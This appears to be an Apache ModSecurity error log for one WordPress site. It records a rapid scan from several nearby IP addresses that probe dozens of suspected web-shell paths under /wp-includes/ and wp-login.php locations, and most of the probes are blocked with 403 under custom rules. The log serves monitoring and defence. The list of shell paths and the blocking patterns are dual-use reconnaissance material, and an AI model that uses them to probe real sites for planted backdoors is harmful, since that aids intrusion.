[Mon Apr 20 14:53:26.784857 2026] [:error] [pid 6928:tid 6949] [client 89.251.0.62:53523] [client 89.251.0.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.62, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aeXNZh3y7MHq1iB0qYoi-gAAAVM"]
[Mon Apr 20 14:53:27.005424 2026] [:error] [pid 6928:tid 6944] [client 89.251.0.62:53523] [client 89.251.0.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aeXNZx3y7MHq1iB0qYoi_AAAAU4"]
[Mon Apr 20 14:53:31.629455 2026] [:error] [pid 6928:tid 6942] [client 89.251.0.75:54477] [client 89.251.0.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aeXNax3y7MHq1iB0qYojFQAAAUw"]
[Mon Apr 20 14:53:34.332156 2026] [:error] [pid 6928:tid 6951] [client 89.251.0.73:46431] [client 89.251.0.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.73, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aeXNbh3y7MHq1iB0qYojHwAAAVU"]
[Mon Apr 20 14:53:35.271517 2026] [:error] [pid 6928:tid 6932] [client 89.251.0.73:46431] [client 89.251.0.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aeXNbx3y7MHq1iB0qYojJgAAAUI"]
[Mon Apr 20 14:53:35.944597 2026] [:error] [pid 6928:tid 6935] [client 89.251.0.53:29971] [client 89.251.0.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aeXNbx3y7MHq1iB0qYojKgAAAUU"]
[Mon Apr 20 14:53:36.872645 2026] [:error] [pid 11351:tid 11387] [client 89.251.0.40:24993] [client 89.251.0.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aeXNcAN8Z1-vktaI_tOVvwAAAEA"]
[Mon Apr 20 14:53:38.096583 2026] [:error] [pid 42014:tid 42023] [client 89.251.0.71:38031] [client 89.251.0.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aeXNcsek-00-ZI0f1NoXiwAAAQc"]
[Mon Apr 20 14:53:38.555994 2026] [:error] [pid 6928:tid 6945] [client 89.251.0.40:61235] [client 89.251.0.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aeXNch3y7MHq1iB0qYojNwAAAU8"]
[Mon Apr 20 14:53:40.149584 2026] [:error] [pid 6928:tid 6941] [client 89.251.0.73:62647] [client 89.251.0.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aeXNdB3y7MHq1iB0qYojRAAAAUs"]
[Mon Apr 20 14:53:41.866670 2026] [:error] [pid 6928:tid 6939] [client 89.251.0.58:48139] [client 89.251.0.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aeXNdR3y7MHq1iB0qYojSAAAAUk"]
[Mon Apr 20 14:53:44.219075 2026] [:error] [pid 11350:tid 11362] [client 89.251.0.53:43353] [client 89.251.0.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aeXNeP4EoMBgOJuJnT07fQAAAAM"]
[Mon Apr 20 14:53:46.440457 2026] [:error] [pid 6928:tid 6930] [client 89.251.0.42:21565] [client 89.251.0.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aeXNeh3y7MHq1iB0qYojUwAAAUA"]
[Mon Apr 20 14:53:47.328361 2026] [:error] [pid 6928:tid 6948] [client 89.251.0.60:29391] [client 89.251.0.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aeXNex3y7MHq1iB0qYojWAAAAVI"]
[Mon Apr 20 14:53:48.424292 2026] [:error] [pid 6928:tid 6946] [client 89.251.0.42:50217] [client 89.251.0.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aeXNfB3y7MHq1iB0qYojXwAAAVA"]
[Mon Apr 20 14:53:50.389200 2026] [:error] [pid 11351:tid 11390] [client 89.251.0.42:29471] [client 89.251.0.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aeXNfgN8Z1-vktaI_tOVygAAAEM"]
[Mon Apr 20 14:53:50.815945 2026] [:error] [pid 6928:tid 6946] [client 89.251.0.74:28913] [client 89.251.0.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aeXNfh3y7MHq1iB0qYojZwAAAVA"]
[Mon Apr 20 14:53:51.254034 2026] [:error] [pid 42014:tid 42031] [client 89.251.0.69:30251] [client 89.251.0.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aeXNf8ek-00-ZI0f1NoXmwAAAQ8"]
[Mon Apr 20 14:53:51.713072 2026] [:error] [pid 42014:tid 42036] [client 89.251.0.75:22227] [client 89.251.0.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aeXNf8ek-00-ZI0f1NoXnAAAARQ"]
[Mon Apr 20 14:53:53.446488 2026] [:error] [pid 6928:tid 6943] [client 89.251.0.49:47791] [client 89.251.0.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aeXNgR3y7MHq1iB0qYojawAAAU0"]
[Mon Apr 20 14:53:53.906746 2026] [:error] [pid 6928:tid 6952] [client 89.251.0.40:22137] [client 89.251.0.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aeXNgR3y7MHq1iB0qYojbQAAAVY"]
[Mon Apr 20 14:53:55.848169 2026] [:error] [pid 42014:tid 42016] [client 89.251.0.68:39137] [client 89.251.0.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeXNg8ek-00-ZI0f1NoXoAAAAQA"]
[Mon Apr 20 14:53:56.325523 2026] [:error] [pid 11352:tid 11430] [client 89.251.0.59:41799] [client 89.251.0.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aeXNhGl10mhMSfJ7ir-KfgAAAJA"]
[Mon Apr 20 14:53:56.779827 2026] [:error] [pid 6928:tid 6931] [client 89.251.0.47:61645] [client 89.251.0.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aeXNhB3y7MHq1iB0qYojdgAAAUE"]
[Mon Apr 20 14:53:57.221347 2026] [:error] [pid 42014:tid 42039] [client 89.251.0.62:59049] [client 89.251.0.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aeXNhcek-00-ZI0f1NoXowAAARc"]
[Mon Apr 20 14:53:57.910214 2026] [:error] [pid 42014:tid 42033] [client 89.251.0.66:32701] [client 89.251.0.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aeXNhcek-00-ZI0f1NoXpQAAARE"]
[Mon Apr 20 14:53:59.816147 2026] [:error] [pid 11441:tid 11460] [client 89.251.0.44:23677] [client 89.251.0.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aeXNh8ixByFUvmh319AVzAAAANE"]
[Mon Apr 20 14:54:01.489051 2026] [:error] [pid 42014:tid 42027] [client 89.251.0.73:64697] [client 89.251.0.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aeXNicek-00-ZI0f1NoXtAAAAQs"]
[Mon Apr 20 14:54:03.573078 2026] [:error] [pid 11352:tid 11432] [client 89.251.0.73:34205] [client 89.251.0.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aeXNi2l10mhMSfJ7ir-KiwAAAJI"]
[Mon Apr 20 14:54:04.704622 2026] [:error] [pid 6928:tid 6930] [client 89.251.0.74:54625] [client 89.251.0.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aeXNjB3y7MHq1iB0qYojfAAAAUA"]
[Mon Apr 20 14:54:06.229771 2026] [:error] [pid 42014:tid 42021] [client 89.251.0.71:50097] [client 89.251.0.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aeXNjsek-00-ZI0f1NoXvAAAAQU"]
[Mon Apr 20 14:54:07.565338 2026] [:error] [pid 11352:tid 11435] [client 89.251.0.67:31381] [client 89.251.0.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aeXNj2l10mhMSfJ7ir-KkgAAAJU"]
[Mon Apr 20 14:54:08.751459 2026] [proxy_fcgi:error] [pid 6928:tid 6942] [client 89.251.0.62:46855] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 14:54:08.971703 2026] [proxy_fcgi:error] [pid 6928:tid 6948] [client 89.251.0.62:46855] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 14:54:09.206134 2026] [proxy_fcgi:error] [pid 6928:tid 6932] [client 89.251.0.62:46855] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 14:54:10.319791 2026] [:error] [pid 6928:tid 6934] [client 89.251.0.62:46855] [client 89.251.0.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aeXNkh3y7MHq1iB0qYojjgAAAUQ"]
[Mon Apr 20 14:54:10.748989 2026] [:error] [pid 6928:tid 6945] [client 89.251.0.58:48339] [client 89.251.0.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aeXNkh3y7MHq1iB0qYojjwAAAU8"]
[Mon Apr 20 14:54:11.187073 2026] [:error] [pid 42014:tid 42038] [client 89.251.0.68:27795] [client 89.251.0.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aeXNk8ek-00-ZI0f1NoXwwAAARY"]
[Mon Apr 20 14:54:11.614697 2026] [:error] [pid 11441:tid 11450] [client 89.251.0.47:26191] [client 89.251.0.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aeXNk8ixByFUvmh319AV3AAAAMc"]
[Mon Apr 20 14:54:12.059706 2026] [:error] [pid 11352:tid 11415] [client 89.251.0.66:25377] [client 89.251.0.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aeXNlGl10mhMSfJ7ir-KlAAAAIE"]
[Mon Apr 20 14:54:12.495854 2026] [:error] [pid 42014:tid 42018] [client 89.251.0.57:65369] [client 89.251.0.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aeXNlMek-00-ZI0f1NoXxwAAAQI"]
[Mon Apr 20 14:54:13.170728 2026] [:error] [pid 11441:tid 11443] [client 89.251.0.56:62365] [client 89.251.0.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aeXNlcixByFUvmh319AV3wAAAMA"]
[Mon Apr 20 14:54:13.597110 2026] [:error] [pid 6928:tid 6932] [client 89.251.0.53:59095] [client 89.251.0.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aeXNlR3y7MHq1iB0qYojlAAAAUI"]
[Mon Apr 20 14:54:14.026973 2026] [:error] [pid 11441:tid 11465] [client 89.251.0.50:44277] [client 89.251.0.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aeXNlsixByFUvmh319AV4gAAANY"]
[Mon Apr 20 14:54:15.560704 2026] [:error] [pid 6928:tid 6945] [client 89.251.0.75:22521] [client 89.251.0.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aeXNlx3y7MHq1iB0qYojmgAAAU8"]
[Mon Apr 20 14:54:16.438518 2026] [:error] [pid 11441:tid 11453] [client 89.251.0.51:33329] [client 89.251.0.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aeXNmMixByFUvmh319AV5gAAAMo"]
[Mon Apr 20 14:54:17.091172 2026] [:error] [pid 11441:tid 11446] [client 89.251.0.75:53043] [client 89.251.0.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aeXNmcixByFUvmh319AV6AAAAMM"]
[Mon Apr 20 14:54:18.177872 2026] [:error] [pid 11352:tid 11438] [client 89.251.0.71:23715] [client 89.251.0.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aeXNmml10mhMSfJ7ir-KmgAAAJg"]
[Mon Apr 20 14:54:19.194296 2026] [:error] [pid 6928:tid 6951] [client 89.251.0.75:43101] [client 89.251.0.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aeXNmx3y7MHq1iB0qYojqQAAAVU"]
[Mon Apr 20 14:54:21.910938 2026] [:error] [pid 11441:tid 11467] [client 89.251.0.72:63585] [client 89.251.0.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aeXNncixByFUvmh319AV8gAAANg"]
[Mon Apr 20 14:54:24.390524 2026] [:error] [pid 11351:tid 11407] [client 89.251.0.53:39009] [client 89.251.0.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aeXNoAN8Z1-vktaI_tOV4AAAAFQ"]
[Mon Apr 20 14:54:25.759619 2026] [:error] [pid 11351:tid 11405] [client 89.251.0.72:25417] [client 89.251.0.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aeXNoQN8Z1-vktaI_tOV4wAAAFI"]
[Mon Apr 20 14:54:29.840289 2026] [:error] [pid 6928:tid 6933] [client 89.251.0.62:44979] [client 89.251.0.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aeXNpR3y7MHq1iB0qYoj2AAAAUM"]
[Mon Apr 20 14:54:30.282435 2026] [:error] [pid 6928:tid 6954] [client 89.251.0.50:64885] [client 89.251.0.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aeXNph3y7MHq1iB0qYoj3AAAAVg"]
